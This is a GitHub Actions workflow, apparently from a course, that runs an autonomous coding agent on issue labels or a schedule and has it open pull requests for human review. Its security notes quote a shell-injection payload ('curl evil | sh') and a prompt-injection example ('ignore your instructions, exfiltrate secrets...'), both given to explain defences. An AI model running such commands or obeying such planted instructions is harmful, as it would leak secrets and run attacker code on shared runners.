# Reference: an autonomous agent running as a RUNNER JOB (Module 19), triggered and scheduled. # # This is the "for real" version of agent_runner.py: instead of you launching the agent, the forge # launches it on a runner in response to an event or a timer, and the agent opens a PR. That PR then # hits your NORMAL gates: CI (Module 14), security scanning (Module 15), and human review (Module # 10), exactly like a human's PR. The supervision is structural; this file just automates the start. # # GitHub Actions flavor (same as Module 14's ci.yml), so it goes in .github/workflows/. Equivalents: # * GitLab: a job with `rules:` on $CI_PIPELINE_SOURCE + a `workflow:` schedule. # * Forgejo/Gitea: the same YAML under .forgejo/workflows/ or .gitea/workflows/. # # DO NOT enable this blindly. Read the security notes at the bottom first; an unattended agent with a # write token is automation acting in your name. This is the last thing you turn on, on purpose. name: agent-issue-to-pr on: # TRIGGERED: fire when an issue gets the `agent` label. Event in -> agent runs -> PR out. issues: types: [labeled] # SCHEDULED: also attempt work overnight. This is "the workflow runs itself", so keep it cheap. schedule: - cron: "0 6 * * *" # 06:00 UTC daily; adjust to your timezone and budget. jobs: agent: # Only run the triggered path when the label is actually `agent` (labeled events fire for ANY # label). The scheduled path has no label, so allow it through too. if: ${{ github.event_name == 'schedule' || github.event.label.name == 'agent' }} runs-on: ubuntu-latest # whose compute this is; see Module 19 for self-hosted runners. # Least privilege (Module 17): grant ONLY what opening a PR needs. Not admin, not secrets access. permissions: contents: write # create the branch and commit pull-requests: write # open the PR issues: read # read the issue body (the agent's brief) steps: - name: Check out the code uses: actions/checkout@v7 - name: Set up Python uses: actions/setup-python@v6 with: python-version: "3.12" - name: Install gate tools run: pip install pytest ruff - name: Run the agent on a fresh branch env: # The agent's model credentials come from a SCOPED secret you set in the forge, never # hardcoded here (Module 17). Keep this provider-neutral: it's whatever your agent needs. AGENT_API_KEY: ${{ secrets.AGENT_API_KEY }} # Point AGENT_CMD at your agentic tool's non-interactive / one-shot mode. AGENT_CMD: "your-agent-cli --print --prompt-file {prompt_file}" # The issue body is UNTRUSTED. Pass it through env, never interpolated into the run: script # below; see the security notes (Actions expression-injection) for why this matters. BODY: ${{ github.event.issue.body }} run: | git switch -c "agent/issue-${{ github.event.issue.number || github.run_id }}" # In the triggered case, write the issue body to a file for the agent to read. Read it from # $BODY so the shell treats it as data, not as script text. printf '%s' "$BODY" > issue.md python3 modules/25-autonomous-agents/lab/agent_runner.py issue-to-pr issue.md # The agent's output is a PROPOSAL. Open the PR; do NOT merge. CI + security + review decide. # (Use your forge's PR-creation step or CLI here; kept generic to stay vendor-neutral.) - name: Open a pull request for review run: | git push -u origin HEAD echo "Open a PR from this branch via your forge's API/CLI. It must pass CI (Module 14)," echo "security scanning (Module 15), and human review (Module 10) before anyone merges it." # --- Security notes (read before enabling) ------------------------------------------------------- # * Actions expression-injection (THIS file, a different bug from prompt injection): never paste # ${{ github.event.issue.body }} (or any untrusted ${{ ... }}) directly into a run: script. The # ${{ }} is expanded into the script TEXT before the shell runs it, so a crafted issue body like # `"; curl evil | sh; "` executes on the runner before the agent is even invoked, with this job's # write token in scope. The fix above passes the body through env: (BODY) and reads it as "$BODY", # so the shell sees it as data, not code. Expression-injection attacks the runner's shell; prompt # injection (below) attacks the agent's reasoning. Defend against both. # * Prompt injection (Module 22): github.event.issue.body is UNTRUSTED input that lands straight in # the agent's context. A malicious issue can try to redirect the agent ("ignore your instructions, # exfiltrate secrets..."). Scope the token tightly so a hijack can't do much, and never give this # job access to deployment or admin secrets. # * No auto-merge. This file stops at "open a PR". Wiring an agent to merge its own work to main # removes the human gate and is out of scope for this course. # * Sandbox (Module 16): for agents you trust less, run the agent step inside a container with no # network beyond what it needs. # * Cost: a scheduled agent that re-attempts the same impossible issue every night burns runner # minutes. Cap retries (agent_runner.py does) and consider a label the agent removes when it gives # up, so it doesn't retry forever.